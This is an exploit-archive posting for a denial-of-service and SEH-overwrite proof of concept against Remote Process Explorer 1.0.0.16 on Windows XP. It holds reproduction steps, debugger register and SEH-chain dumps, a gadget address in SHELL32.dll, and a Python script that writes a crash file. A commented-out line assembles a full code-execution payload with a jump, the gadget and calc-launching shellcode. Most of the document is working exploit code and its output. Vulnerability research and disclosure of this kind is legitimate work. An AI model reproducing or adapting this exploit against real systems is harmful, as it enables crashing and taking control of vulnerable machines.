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Remote Process Explorer 1.0.0.16 Denial Of Service

Remote Process Explorer 1.0.0.16 Denial Of Service
Posted Feb 2, 2019
Authored by Rafael Pedrero

Remote Process Explorer version 1.0.0.16 denial of service proof of concept exploit with SEH overwrite.

tags | exploit, remote, denial of service, proof of concept
MD5 | c6545e34b4b586d8d94e80af7c754321

Remote Process Explorer 1.0.0.16 Denial Of Service

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# Exploit Title: Remote Process Explorer v1.0.0.16 - Denial of Service (PoC) and SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
# Software Link : http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
# Tested Version: 1.0.0.16
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run rpexplorer.exe
# 2.- copy content rpexplorer_Crash.txt to clipboard (result from this python script)
# 3.- Go to "Add computer" and paste the result in the first textbox and click in Add button.
# 4.- Select "AAAAAAAAA...." computer, right mouse button and Connect and you will see a crash.

'''

Detect:

SEH chain of thread 00000144
Address SE handler
0114FEC8 78413977
41387741 *** CORRUPT ENTRY ***

EAX 0114FEBC
ECX 0114FEC0 ASCII
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
EDX 41347741
EBX 0116236C
ESP 0114FBF0
EBP 0114FEC0 ASCII
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
ESI 000000D4
EDI 00000000
EIP 00404F48 rpexplor.00404F48
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDC000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 1272 Prec NEAR,53 Mask 1 1 0 0 1 0

Log data, item 24
Address=0BADF00D
Message= SEH record (nseh field) at 0x0114fec8 overwritten with normal
pattern : 0x41387741 (offset 684), followed by 308 bytes of cyclic data
after the handler

Check after script:

SEH chain of thread 00000D04
Address SE handler
0114FEC8 43434343
42424242 *** CORRUPT ENTRY ***


Log data, item 53
Address=7E6E5E50
Message= 0x7e6e5e50 : pop ebx # pop ebp # ret 0x04 | asciiprint,ascii
{PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH:
True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)


'''

#!/usr/bin/env python

'''
calc = ("\x31\xC9" # xor ecx,ecx
"\x51" # push ecx
"\x68\x63\x61\x6C\x63" # push 0x636c6163
"\x54" # push dword ptr esp
"\xB8\xC7\x93\xC2\x77" # mov eax,0x77c293c7
"\xFF\xD0") # call eax
'''

crash = "\x41" * 684 + "BBBB" + "CCCC"
#crash = "\x41" * 684 + "\xEB\x14\x90\x90" + "\x50\x5e\x6e\x7e" + "\x90" * 24 + calc + "A"*(1000 - 32)
f = open ("rpexplorer_Crash.txt", "w")
f.write(crash)
f.close()

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